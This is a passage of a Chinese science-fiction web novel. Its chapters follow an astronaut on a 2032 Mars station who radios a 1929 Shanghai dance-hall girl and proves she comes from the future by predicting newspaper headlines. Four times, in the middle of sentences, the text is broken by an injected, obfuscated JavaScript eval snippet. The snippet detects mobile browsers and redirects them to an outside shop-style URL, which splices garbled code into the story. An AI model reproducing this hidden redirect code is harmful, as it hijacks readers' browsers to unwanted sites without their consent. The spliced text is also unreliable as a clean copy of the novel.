所有东西都一并拉回了小百合的公寓,朱璇又盯着她一一摆好,这才满意。小百合左看右看,只觉在旁人眼里这情景一定说不出的怪异——明明是好端端的一个收音机,却被她们生生供成了一尊佛像。 所有事情做完,差不多也到了该出发去舞厅的时候。 小百合心不在焉地跳完了舞,回到家,先虔诚地对着收音机拜了两拜,才打开开关,慢慢地将转起旋钮。 然而,随着旋钮的转动,她的心却砰砰地剧烈跳动起来。按理说,收不到电台时,收音机里传出的应当是一以贯之的沙沙声,可此时,里头明明没有任何人声,那沙沙声却越来越小,等转到尽头,完全归于沉寂。 仙姑说,要问问对方还有什么执念。 小百合在心里酝酿了又酝酿,苦思良久,不知该用什么称呼——“鬼魂姐姐”似乎有些不敬,“前辈姐姐”则太过正式。她思来想去,最终心一横,决定哪怕是对怪力乱神,嘴甜一点也没有坏处。于是,颤颤巍巍地道:“神仙姐姐,你在吗?” 陆遥屏住呼吸,停住了手上的所有动作。 自从上次那个莫名其妙的通话之后,她编写了一道程序,将从地球发出的所有已知频率编为一个子集,在空间站的公共频道播放,而将所有未知来源的信息转接到她的子通讯器,让她可以随时听到。 果然,那个神秘的声音又来了! 可是……“神仙姐姐”,又是怎么一个情况? 陆遥放稳自己的声音:“你是谁?” 对面的声音听起来似乎更害怕了,战战兢兢地道:“我、我是小百合……” 陆遥的心头一震,想的却是另一件事——她们两个的对话,果然几乎没有任何延迟! 然而对方却丝毫感觉不到她心中的震动,仍在语无伦次:“我、我今天去问仙姑大人了,她说你附在我的收音机上是为了回家,我、我非常理解你……如果是我,我肯定也会想办法回家的!我给你烧了香,摆了一些供品,也不知道你喜不喜欢,如果有什么想吃的想要的,你尽管对我说!或者,或者你还有什么家人吗?要是你有什么想对他们说的也尽管告诉我,我一定去替你传达给他们……” “仙姑大人”?“收音机”?“供品”? 陆遥抓住她话中的关键词。听起来,倒像是对方把她当成了附在一台收音机上的鬼魂,要替她完成什么未了的心愿。 陆遥的脑海中浮现出一个老式的手持收音机被香炉和贡品包围的场景。 这画面太过荒诞不经,她突然想到,这该不会是安德烈和阿列克谢搞的恶作剧吧? 王亦刚为人严肃,肯定不会做这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14504982|154961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 种事,可另外两个就说不准了。光安德烈就不止一次对她说过:“遥,你不要总是这么冷淡,开心一点!要享受这个过程!” 这,会不会就是他们让她“开心一点”的方式? 想要把通讯器中的记录抹去很困难,而且理论上不合规矩,但他们都是电脑高手,如果真的想做,绝非做不到。 而且,他们四个刚刚完成了火星行走计划的最后准备,着陆器已经就绪,只等两日后启程,此时正是可以稍微放松的时候。 陆遥不动声色地开启录音模式,录下那仍在絮絮叨叨地说着什么“完成执念”“早入轮回”的女声,同时用另一条线路对安德烈发起对话:“嘿,安德烈,我在采集的数据中发现了一点问题,可否帮我看一下?” 说完,又如法炮制,对阿列克谢问了同样的问题。 等得到了肯定的回答,她便停止录音,把刚刚录下的文件转发了过去。 她以为很快会得到夹杂着两个人放肆笑声的坦承,却没想到,她收到的是两条简单的文字信息:“我没有听到任何声音,这是遥你录下的宇宙的声音吗?[微笑][微笑][眨眼]” “没有声音,请检查是否发错文件。” 前者是安德烈的,后者是阿列克谢的。 陆遥皱起眉,点开她刚刚转发的录音文件。 她的左耳仍是通讯器里的女声,她不再喋喋不休,而是小心翼翼地问道:“神仙姐姐,你听到我说的话了嘛?神仙姐姐,你还在吗?” 右耳的录音却如安德烈和阿列克谢所说,是一片静寂的空无。 陆遥在一瞬间感到悚然。 这到底是怎么回事? 录音可谓是他们整个空间站里最简单的技术了,怎么可能会失灵? 她对空间站的人工智能下达指令:“请检查通讯系统及其录音功能是否正常。”同时关闭静音,答道,“我不是神仙姐姐。” 对面道:“那那、那你是什么?不不,我的意思是,你是谁?” 陆遥道:“我是宇航员陆遥,此时正在火星空间站执行任务。” “空间站……是什么?” 陆遥皱了皱眉。撇开这件事的所有诡异之处不提,这世上会有多少人不知道空间站是什么? 她没有回答这个问题,转而问道:“你现在身在哪里?” “我、我在我的家里。” “你的家在哪里?” “在上海。” 上海? 这个回答倒是大大出乎了陆遥的预料。 她问道:“你平时会看新闻吗?” “偶尔会。有时候客人会带报纸过来。” “那……你上周看到的最大的新闻是什么?” 对方愣住了,迟疑了片刻,才道:“最大的新闻?大概是苏联与东北的张将军开战的事吧?” 苏联?东北张将军? 陆遥的心中升起不祥的预感,她问道:“现在……是哪一年?” 伴随着人工智能“通讯系统及录音功能检查完毕,一切正常”的回复,她听到了对方的回答:“现在?现在是……民国十八年!” 9. 第8章 “这可能吗?” 陆遥不断地反问自己。 她身在距地球几千万公里外的火星空间站上,却听到了属于一百多年前的一位民国的女子的声音。 不,不止是听到她的声音,陆遥纠正自己,她是在与她对、话,有来有回。 昨晚,在听到“民国十八年”的回答之后,不等她做出什么反应,就突然被敲门声打断了。 陆遥拉开她隔间的拉门,发现是阿列克谢飘在她的门外,询问她刚才想问的问题是什么——他一直没有等到她的回答,便亲自过来了。 陆遥让他稍等片刻,想要回到方才的对话中,却发觉她和那位“小百合”的通讯连接已经中断。她试着发起呼叫,但再次回应她的,却是地球上控制中心的人。 之后,她打开通讯系统的后台,一行一行地亲自检查了所有的代码,没有发现任何问题,又找来了安德烈和阿列克谢,严肃地询问他们是否对通讯器动了什么手脚,或者做出了任何改动,却都得到了否定的回答。 “这到底是怎么回事?” 陆遥问自己。 从小到大,她遇到过无数难题。然而,哪怕面对再困难的问题,她也总是有着自己的思路,之后要做的,便是朝着那个方向笔直地前行。 她从未感到如此困惑,如此无所适从。 而且,昨晚的事没有任何记录。没有数据,没有录音,所有的一切都只在她的脑海中,她的记忆里。她甚至无法向旁人证明,昨晚的对话曾真实地发生过。 是她疯了吗? 陆遥知道,一个人在密闭的环境中承受巨大的压力时,是会发疯的。 或许,她撑过了日复一日的求学,撑过了严苛的选拔,撑过了艰苦的训练,终于在真正到达火星空间站时精神错乱,幻想出一个民国时的女孩,名叫“小百合”,并与她说话。 可是…… 陆遥反省自身,自问她的情绪和精神没有任何异常。她从不觉得她经过的学习、训练是一段艰难的历程。她不是感性的,脆弱的。她的理性和才智未曾受到同伴的质疑,所有的工作都在按部就班地进行。 她甚至让AI调出了两张精神评测表——她提交的答案是完美的,没有任何的偏移。 如果那是幻觉,陆遥找不出她产生幻觉的理由。 而且……历史从来不是她的强项。她真的曾经在某一本书上读到过吗?读到过在1929年,张学良在东北边境与苏联开战,大败而归。 在对话结束后,她立刻进行了搜索,查到在1929年10月12日,也就是民国十八年10月12日,中苏两方确实曾经发生武装冲突,而这件事也被当时的媒体报道了。 新闻报道的是当时当地最重要的那些事,但如果将时间幅度拉长,只有很少一部分会被后人记录在历史书上,变得众人皆知。 陆遥不觉得这是其中之一。 人的幻觉中不可能出现她不知道的事。这是不是也能反过来证明,她所经历的,并非幻觉? 她也不是没想过将这件事上报,报给王亦刚,甚至地控中心。 可是,他们真的会相信她的话吗?难道他们不会如陆遥自己那般,对她产生怀疑,然后请一位甚至几位心理学家对她进行评估?难道他们不会判断她无法继续任务,让她即刻返程吗? 而就算他们不曾质疑她的理智,相信了她的话,又能怎样?难道他们真的要浪费宝贵的任务时间,去设计,并重复一个又一个复杂的实验,来漫无边际地去寻找一个看不见摸不着的幽灵吗? “遥,你怎么了?你刚刚看起来有些分心。” 在正式登陆火星之前,他们要进行最后一次模拟,提出可能会出现的问题,并做出预案——这是他们在地球上已经熟悉的流程。 所有的内容都已经烂熟于心,甚至不用细想,陆遥便能一一回答出会上的提问。 然而,会议刚一结束,阿列克谢便飘了过来。 他是一个斯文而温和的年轻人,只比陆遥大上两三岁,性格比安德烈内敛许多,又没有王亦刚那般严肃。 陆遥没想到,他会注意到她的不同。 “没事。”陆遥道。 王亦刚已经飘出了开会的活动舱,安德烈回头看了一眼,也跟着飘出去了。阿列克谢却不肯放过她。 他盯着她,眼瞳是一种清澈湛蓝的颜色,饱含着关切与坚持,让陆遥不由地想起倒映在大海中的蓝天。 她屈服了:“你……相信我们在宇宙中,能与过去的人对话吗?” 阿列克谢一愣,道:“这是什么意思?” 陆遥道:“假设……只是假设,你的耳机里突然传出了一百年前的人的声音,你会相信,他是真实的吗?” 陆遥以为他会否定她,会笑她异想天开,甚至劝她把注意力放在即将到来的工作上。 却没想到,阿列克谢只是轻轻一笑,道:“你刚才在会议上就是在想这个?”而后,正色道,“虽然不知道你为什么会提出这个问题,但是,我的回答是,我会。” 这一次,轮到陆遥愣住了:“你会?” 阿列克谢道:“是的,我会。我们的宇宙太过神秘了,我们人类所了解的一切,所体验的一切,其实都不过是其中的冰山一角。如果你真的亲耳听到了,为什么不信呢?” 他顿了顿,又道:“事实上,你刚一提出问题,我就想到了三种可能。” 陆遥道:“三种可能?” 阿列克谢笑着道:“是呀。”他举起一根手指,“第一,在时间成为实体,生物可以在其中尽情穿梭的更高维度发生了一场宇宙风暴,让我们的时间和一百年前的时间重叠在了一起,形成了一个通道,所以你才会听到一百年前的人的声音。” 陆遥道:“宇宙风暴?什么宇宙风暴?” 阿列克谢耸了耸肩:“我哪里知道,我又不是更高维度的生物。” 陆遥也笑了,这下,她听出了阿列克谢话里胡说八道的成分。她问道:“那第二种呢?” 阿列克谢道:“第二种比第一种 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14504983|154961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的可能性更高一些。那就是,因为某种宇宙事件,比如说……”他随意地一摆手,“我们的火星刚刚遭遇的陨石撞击。这撞击是如此剧烈,以至于扭曲了时空,形成了能够连接不同宇宙的虫洞。另一个宇宙的信息通过虫洞传了过来,恰好被我们的通讯系统捕捉到,成为了你听到的声音。” 陆遥道:“所以说,和我对话的,其实不是我们这个宇宙里一百年前的人,而是平行宇宙的人,只是他们的时间点在一百年前。” 阿列克谢道:“没错!就是这个意思!” 陆遥笑道:“我明白了。那第三种呢?” 阿历克谢道:“第三种猜测就更大胆了。霍金曾经说,即使我们烧掉一本百科全书,只要保留着它的烟与灰,那么其中的信息就并没有丢失,只是变得非常难以阅读——因为我们尚未找到将它还原的手段。或许历史上发生过的所有事,存在过的所有东西,其实都没有消失,而在某一刻,因为种种偶然,宇宙自身找到了将它还原的方法。”他顿了顿,“你听到的,不是别的,正是宇宙深处历史的回响。” 陆遥默然了片刻,道:“我不知道,你居然还是个诗人?” 阿列克谢微微一笑,夸张地对她行了一个西式宫廷礼,道:“总而言之,我想说的是,这个宇宙很大,什么事都有可能会发生的。不要怀疑!不要怀疑宇宙,更不要怀疑你自己。” 说完,他心情很好地飘走了。 陆遥留在原地,又呆了一会。回想着刚才的对话,从昨晚开始沉沉压在她心上的石头好像突然被人掀翻、踢走,并扔在了一旁,让她整个人无比得轻松。 是啊,有什么可纠结的呢?有什么可怀疑的呢? 既然她的经历是客观存在的,那她就该以科学的态度去面对——去观察,去假设,去分析,去实验。所有的现象背后必定有一个合理的解释,只是以人类现有的知识,或许尚且不能真正理解。 “让梦晨给我传一些资料过来好了。”她想,哪怕那些资料可能大多只是些荒谬无稽的猜想,和一堆二流的科幻小说。 “下一次。”她又想,等下一次她们的通话稳定下来,她会把阿列克谢介绍给小百合。 至于她该以什么样的态度对待小百合,该不该对她说起他们真正的身份,陆遥并不对此感到苦恼。 关于时间旅行,有一个著名的悖论,名叫“祖父悖论”——如果一个人回到过去去杀死自己的祖父,那他是否还会出生?如果他并未出生,他又怎能回到过去,杀死自己的祖父? 若不考虑平行宇宙的存在,那其中的解释只有一个:过去是既定的,事情已经发生,便无法改变。 无论她说了什么,做了什么,对小百合产生了什么样的影响,都必定会导向一百年后的现实,导向她此时此刻的自己。事情尚未发生,却已是过去。 不必花费太多的精力,只要把这件事当成这次火星任务的支线工作就好了,一次没写在计划表上的现象观察实践。 “只不过是一个小插曲。”陆遥想。 10. 第9章 “为什么收音机会突然断掉呢?”小百合想。 前一日,她和“神仙姐姐”明明说话说得好好的,小百合刚回答了她今年是哪一年,收音机便突然中断了,只剩下了平日的沙沙声。 该不会,是她受了什么刺激吧? 小百合边舞蹈,边猜测着。 今天来找她的这位熟客不爱说话,只环着她一心跳舞,正好给了小百合思索的时间。 对话中断在她说完年份之后,莫非……神仙姐姐其实已经死了好多年了? 或许,她死后便一直在海外浑浑噩噩地飘着,一心只想回家。等她搭上船,真的到了家,清醒过来,听到了小百合的回答,才意识到时间已经过了这么久。 甚至可能连她的家人朋友都早已去世,只留她一个孤魂野鬼在世间游荡。 “真是可怜。”小百合想。 尽管她们没说上几句话,但小百合对她的恐惧却在对话中不知不觉地消失了——她听起来不像是评书里总讲的杀人夺命的恶鬼,倒只像是一个普通人。或许,还是个眷恋世间的寂寞的人。不然,她为何会想到让她讲一讲最近的新闻呢? “过会跳完舞,四处找找有没有客人落下的报纸好了。”小百合决定。 然而,等她打发走了客人,回到化妆室,还没来得及寻找报纸,朱璇便过来问她收音机的事怎么样了。一边问,一边道若是仍没有处理好,她还认识一位厉害的道士,必定能将那野鬼彻底镇压。 一听她这样说,不知怎的,小百合突然就不愿意告诉她神仙姐姐的事了。于是只随意地搪塞几句,道那仙姑大人确实神通广大,她回家之后,收音机里的异声便几乎低不可闻,等她摆上了供,烧上了香,又念诵佛经祈了祈福,就再也听不见了。 朱璇似是欣慰,又似不甚满意,连连追问小百合,要不要为她再请一位道士,好斩草除根,以防万一——此事不用小百合出钱,她来负责就好。而在被小百合拒绝之后,她便失望地走了。 望着朱璇离开的背影,想起前一日仙姑所说的话,小百合遗憾地想:“只可惜还没有问出神仙姐姐的执念是什么。”不过,只遗憾了片刻,她一转念,又乐观了起来,心道来日方长,只要收音机还在家里放着,她迟早有一天能问出来的。 此时的她,不止是想让神仙姐姐从收音机上离开,更是真心地想要满足她的心愿了。 可之后十几日,任凭小百合把收音机开到深夜,神仙姐姐的声音也再没响起。单调的沙沙声重复得恼人,小百合忍不住在她不大的公寓里转来转去,气馁地想要放弃,心道:“莫非神仙姐姐得知了现在的年份,知道往事不可追,最终释然放下,又入轮回了?” 她不死心地又坚持了两天,一晚,就在她准备关掉开关时,收音机里的沙沙声陡然一止,归于静寂。 小百合瞬间来了精神,对着收音机道:“神仙姐姐,你在吗?” 陆遥打开她的通讯器。 长达七个小时的火星行走终于结束,他们成功地完成了面向全球的直播,并采集了火星的岩石和土壤样本。在下一步的工作之前,他们有一整天的休息和放松的时间。 在火星行走时,为了专心执行任务,陆遥手动屏蔽了除地控中心之外的所有信号,其中自然也包括小百合的。 “也不知道她在这期间又试着联系我了吗?”陆遥想。但转瞬又觉得不大可能。七个小时虽然在火星地表显得十分漫长,但对于一个普通人来说,也不过是一个白天的时间,想来她也有自己的事要做。 却不想,她刚打开通讯器没有两分钟,那句熟悉的“神仙姐姐”便又响了起来。 陆遥迟疑了一瞬,暂时没有纠正她,只道:“我在。” 对面却似大松了一口气:“太好了!神仙姐姐你这么多天不理我,我还以为你已经又去投胎了呢!” 这么多天? 陆遥皱起眉,没有理会“投胎”两个字。自她们上次对话中断到现在,满打满算应该也没有超过72个小时。 她问道:“从我们上次说话起到现在,过了多少天了?” 小百合的声音中传来几分困惑:“过了多少天了?我也有点记不得了。不过,怎么也得有十四五天了吧?” 十四五天! 她们之间的时间流速,是有差别的! 小百合仍在不停地追问:“神仙姐姐你问这个做什么?莫非……姐姐你在那边没法知道时间吗?所以你才会问我现在是哪一年?” 陆遥却在心中思索:这是为什么呢?是因为他们的位面离黑洞更近吗?还是真的如阿列克谢所说,在哪里出现了虫洞呢? 以人类现有的技术,是没法对虫洞进行监测的。那么,能监测到的数据有什么? 不知道这时间的流速差是恒定的,还是变化的? 想到这个问题,陆遥立刻抬腕看了一眼时间。 她决定记录下她们每次通话的时刻,然后对比小百合那边的天数间隔,来计算出这个问题的答案。 见她迟迟没有回答,小百合又不安地追问道:“神仙姐姐,你还在吗?” 陆遥答道:“我在。”她一边回答,一边给阿列克谢发去信息:“如无事,请来我的隔间一趟。门没锁,不必敲门。” 紧接着,不等小百合接话,她又转而问道,“你叫什么名字?我是说本名,你姓什么?名什么?” 尽管可能性很低,但如果小百合是她能搜索到的,某个曾出现在历史书上的人物,她就要更谨慎地对待她们的对话了。 没想到听了这个问题,小百合的心情仿佛低落了许多。她低声道:“我没有姓,没有名,就叫小百合。在孤儿院大家叫我小百合,在舞厅里大家也叫我小百合。神仙姐姐你也叫我小百合就好。” 陆遥不由一怔。 她知道收音机在民国时不是个便宜的物件,又看小百合每次对话时活泼的声气,原以为她一定是某个有钱人家里无忧无虑的小姐,却没想到居然是这样一个身世。 联想到她之前所说的“客人”,想必这收音机也是作为舞女或者陪酒女时收到的了。 小百合却不愿再对此多说什么,连忙转移话题道:“别说我的事了,神仙姐姐,你叫什么呀?还有还有,你留在人间,是有什么没能实现的愿望吗?如果有什么愿望是我做到的,我一定会帮你的!” 陆遥哑然,道:“我叫陆遥。陆地的陆,遥远的遥。而且,我也不是鬼,没有什么愿望是需要你来帮我实现的。” 小百合听到一个“鬼”字,急忙分辩道:“啊!我不是这个意思……”她顿了顿,见陆遥没有与她追究的意思,又好奇道,“那……莫非,你是狐仙娘娘?或者白娘娘?” 陆遥道:“不是。” 小百合接着猜道:“我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14504984|154961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看今年街上的桂花开得特别好,难道是桂花娘娘?” 陆遥否认道:“不,我什么娘娘都不是。” 她心中不由生出一丝疑惑——难道对民国之前的人来说,任何精怪都要尊称一声“娘娘”吗? 小百合道:“那你是什么呀?” 陆遥迟疑了片刻,道:“如果我告诉了你,你能不能为我保守秘密?” 小百合道:“当然了!我什么都不会对别人说的!” 早在她们这次对话之前,陆遥就决定,与其让小百合把自己当作妖魔鬼怪,不如诚实地回答 “她是谁”这个问题。如此一来,或许还能得到她的配合,对这个宇宙现象进行更深入的研究。 而除了这个问题之外,陆遥不会泄露任何可能影响未来的细节。 若是小百合将与她的对话四处宣扬,招惹是非,或者想要通过她来追名逐利,陆遥也可以很轻易地把她的声音和信号屏蔽,再不吱声。 没有人会相信她,小百合会被当作胡言乱语的疯子,从此化入历史的尘埃。 陆遥答道:“我是人,是个与你一样的普通人。只不过你来自民国十八年,也就是公元1929年,而我来自一百年后,也就是公元2032年。” 说完,她屏住呼吸,不知小百合会作何反应。 却没想到,小百合“扑哧”地一声笑了,道:“怎么会有这种事?神仙姐姐你别与我说笑了!快说吧,你到底是什么呀?” 陆遥一愣,道:“所以说,比起相信我是来自未来的人,你更愿意相信我是狐娘娘,或者桂花娘娘?” 听了收音机里的话,小百合也呆住了,她支吾地道:“可是,可是,我从小就听很多人说见过狐仙大人。每年到了花朝节,也总要祭拜花神娘娘……但从来没听说过有什么未来的人呀?” 确实,在一百年前,民俗传说对平民百姓的影响远大于科学和技术。 陆遥在屏幕上调出搜索框,轻点几下,道:“你说距我们上次通话过了十几天,那现在应该是十一月初了?” 小百合道:“对。今天已经是11月5号了。” 陆遥道:“你既然在上海,应该能买到每天的《申报》了?” 小百合道:“是。” 她不止买过,更一家一家地送过。 陆遥道:“你身边有没有纸和笔?” 小百合道:“稍等一下,我找一找。” 她平日在家里是用不到纸笔的,但依稀记得在柜子里有一根废弃的眉笔。 小百合翻箱倒柜把那根眉笔找出来,又从她床底的杂物箱中掏出一位客人送给她的她的画像,翻过来,道:“找到了。” 陆遥道:“好。你记下我说的话。”她读出屏幕上提前选好的标题,“11月7日第4版,国内要电《五路军阵线逐步展开》《苏俄增兵四站》。11月12日第9版,《日守备队又惨杀华人》。11月15日第7版,《外交部接收镇江租借》《广州河东大火》。你去买这三天的申报读读看。” 小百合皱起眉:“这是下一周……” 她没说完,原本静止的“沙沙”声又骤然响起。 她们的对话中断了。 陆遥盯着她的通讯器看了几秒,抬起头。 拉门声响起,阿列克谢的脑袋从门口探了进来:“抱歉,遥,我刚刚在锻炼,才看到消息。你找我吗?” 11. 第10章 “是恰巧吗?” 陆遥思索着。 就在阿历克谢打开门的一瞬间,她和小百合之间的讯号连接恰好中断了。 爱因斯坦曾经说过:上帝不会掷骰子。 可世界上确实有着千千万万的巧合,无法解释,无法言说。这会是其中之一吗? 不,不是这样的。她回想起上次她们的通话。上一次,她们的对话也是在阿列克谢敲响她的门时突然中断了。 甚至,她突然想到他们第一次试着联系地球时。那时他们刚刚到达火星,她的第一次尝试没能成功,也是在阿列克谢飘到她身边之后,才达成了通讯。如果,第一次不是因为信号不稳才没能连接上,而是在那时讯号就发给了小百合呢? “难道是因为阿列克谢?” 这个假设刚一浮现,立刻被陆遥从心中划去了。那太荒谬了。除了最后一次是陆遥自己把他叫过去的,前两次也只是恰好是他而已。不是他,也完全可能是安德烈或者王亦刚。或许,是旁人的突然出现扰乱了他们周围的某种磁场,才让讯号中断。 但若果真如此,她大概就真的无法向他人证明,小百合是真实存在的了。小百合的存在本身,以及她默默写下的所有报告,都将成为陆遥一个人孤独的秘密。 “下回再试一次好了。”陆遥想。虽然知道那不可能与阿列克谢有关,但下一次,她决定叫王亦刚。 之后几日,小百合简直坐立难安,度日如年。 那时,她记下了神仙姐姐,也就是她自己口中,“陆遥”的话,将信将疑。 然而,在两日后,她一大早便奔向了报摊,顶着摊主让她先付钱的呵斥一口气翻到了《申报》的第四版,果然看到了她记在自己画像背后的标题:“国内要电”《五路军阵线逐步展开》《苏俄增兵四站》。 如果是别人,或许还会怀疑“陆遥”的消息是不是从报社那里提前得到的,可小百合自己就送过报,曾日日在印厂的门口早早蹲守,自然知道每一份报纸都是在前一天排版的,不会晚一天,更不会早一天。 而且,文章的末尾写得明明白白:“六日专电”。六日才收到的消息,陆遥又如何在五日知晓? 至于之后十二日的和十五日的新闻,就更不可能了。 这一下,小百合立刻对她的话信了七分。 可信归信,没亲眼见到十二日和十五日的报纸,她总不死心,只能一天一天地熬着。 等熬到了第十天,小百合破天荒地自己掏钱从报摊买了一份报,翻开第七版,看到紧邻的两个豆腐块,标题从上到下,右边是《外交部今日接收镇江租借》,左边是《广州河东大火》,一字不差,这才觉得有一块大石从心头轻轻卸下,只等到了晚上,去赴陆遥的约。 是的,尽管没有明说,但她心中坚定地认为这是她与陆遥的约定——等她读完了这三日的报纸,便能再从收音机中听到陆遥的声音。 果然,当晚没等多久,小百合早就听习惯了的沙沙声陡然一止,陆遥在收音机里道:“这里是陆遥,呼叫北京,收到请回答。” 小百合对着收音机轻轻一笑,支起脸道:“你每次说的这个‘呼叫北京’,是什么意思?” 陆遥顿了顿,道:“小百合?” 小百合笑道:“是我。你不是让我读完今天的报纸来找你吗?” 陆遥道:“怎么样?报纸里写的,和我说的一样吗?” 小百合道:“确实。所以说,你真的是来自未来的人了!” 陆遥道:“是的。” 小百合道:“那……未来发生的所有事,你都知晓了?” 陆遥斟酌了片刻,道:“不,不是这样。我不是什么预言家。如果你想知道一个人未来的命运,除非他是某个名人,否则我是不知道的。我知道的,只有被记录下来的事。” 小百合道:“像是报纸上写的?” 陆遥道:“对。但也不是所有报纸。只是《申报》非常有名,发行量很大,每天的报纸都有留存下来的,我才能查到。” 小百合吃了一惊,道:“可是,那得有多少报纸啊!你怎么能立刻翻到这三天的?你翻书一定翻得很快了!” 陆遥否认道:“不,只是我们有新的查资料的方式。” 小百合道:“这样啊……” 她半晌没有说话,似是陷入了沉思。陆遥等了片刻,微觉不安,道:“所以……你还有什么想问的吗?” 其实早在相信小百合来自民国十八年时,她便思考过,若是小百合知道了她的身份,会问她些什么。 她会问她该买哪只股票吗? 陆遥知道,哪怕是在民国时,证券市场中也不乏一夜暴富的传说。不,应该说正因为民国时市场监管匮乏,乱象横生,许多人一夜暴亏,又一日暴富,才让更多的市民趋之若鹜,将所有的身家压上,掷于一场豪赌之中。 小百合在舞厅工作,又有客人送她礼物,想来颇受欢迎,必定也积累了自己的本钱。投资,是她赚钱最快的方式。 或者,她会问陆遥,有什么可以挪用到民国时期的技术吗? 间隔着百年的科技发展,哪怕是一个可以用来制药、制肥的简单化学式,一张可以用于机械、军工的简单图纸,或许都能让她成为一个产业的巨头。 又或,她会问她,以后在历史上谁人得势吗? 趁着对方尚且微末之时,雪中送炭,施以援手。只等他未来有朝一日,扶摇直上,便能得到千百倍的回报。 或是钱,或是权,或是知识。 小百合到底会问些什么呢? 陆遥等待着。 终于,过了半晌,小百合开口了,她道:“嗯……我确实有几个想问的问题。” 陆遥道:“你说。” 小百合道:“我想知道,在一百年以后,所有人都吃得饱吗?穿得暖吗?还有……这个世界上,还有孤儿吗?” 从耳机里传来的声音又轻又柔,夹杂着通讯时细小的杂音,显得天真而充满希冀。 陆遥却呆住了。 她从没想过,小百合最先提出的,会是这几个问题。 她也不知道该如何回答。 当地球上最先进的那些群体把他们的金钱、智慧和资源投入太空,把一个个的个体送入宇宙,去拓展星空的边界,另一些地区 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14504985|154961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 却仍深陷战争和贫穷。 不,有人吃不饱。不,有人穿不暖。不,这个世界上还有许多孤儿。 陆遥从来没觉察这有什么不对。 然而,当小百合把问题赤裸裸地摆在她的面前,她却忽然感到无法直视那来自一百年前的目光。 小百合似是听懂了她的沉默,又道:“哎,先不说这个了!你还没有告诉我呢,你每次说的‘呼叫北京’,是什么意思?北京……难道不是一个地名吗?还有还有,‘空间站’到底是什么意思呀?” 陆遥没有理会她的话,道:“你真的不想再问我些什么别的吗?别的,更具体些的问题?” 小百合却笑了,道:“如果我问了你,你会回答我吗?之前,你不是连你们怎么查资料,都要保密的吗?” 陆遥顿时哑口无言。她没想到小百合竟是这样的聪慧,连她的一点点隐瞒都立刻察觉了。 小百合又道:“不过没关系,这样也挺好的!我不想亏欠你什么。如果一直利用你,让你告诉我以后的事来赚钱,我们就做不成朋友了。有钱人很多,但能和未来的人做朋友的,可只有我一个!” 听了她的话,陆遥默然片刻,答道:“我每次说‘呼叫北京’,是因为我现在不在地球上。我原本想要联系的那些人在北京,我才会说‘呼叫北京’。” 小百合道:“不在地球上?” 陆遥道:“我乘着火箭……”她顿了顿,“来到了月球。‘空间站’是我们住的地方。” 她记得当初在航空航天史的课程上,她的教授曾经讲过,火箭的概念在二十世纪初就已经提出了。而世界上第一个对准月球轨道的火箭,它的试射也是发生在二十世纪20年代中期。理论上来说,她没有告诉小百合任何她不该知道、不能预见的东西。 小百合惊叹道:“哇……这么厉害!”她笑道,“看来我之前确实叫错了,不应该叫你神仙姐姐,应该叫你嫦娥姐姐才对!”她想了想,又道,“在一百年以后,是所有人都能去月球吗?” 陆遥道:“不。我们要经过非常严格的选拔,才能来这里执行任务。这一次来的,只有我和我同事四个人。” 小百合道:“那个选拔,女孩也能参加?” 陆遥的心在一瞬间抽紧了,她不知道这是什么心情,只道:“是的。” 小百合安静了一会,叹道:“真好呀……谁能想到,我在和嫦娥姐姐说话呢。”她打了个哈欠,“真想见见你呀。不过,我是肯定活不到那个时候了。” 陆遥想要否认,心底里却知道她说的是事实。她瞥了一眼腕表。不知不觉间,时间已经过了很久。于是只道:“你听上去很困了,去休息吧!” 小百合一怔,道:“可是,我还想和你说说话……” 陆遥道:“以后还有机会。” “真的?说好了?” “嗯,一言为定。” 陆遥切断了通讯,突然意识到,这好像是她们第一次主动中断连接。 陆遥坐在原地,或者说,空间站墙上和地上的绑带将她牢牢地固定在原地,想,这似乎是她很长时间以来,第一次没有任何目的地与人交谈。 12. 第11章 “你近来总是看起来心情很好,是发生了什么好事吗?” 谭荣名笑着道。 小百合微微讶然,她不知道她表现得竟如此明显,连谭荣名都发觉了。 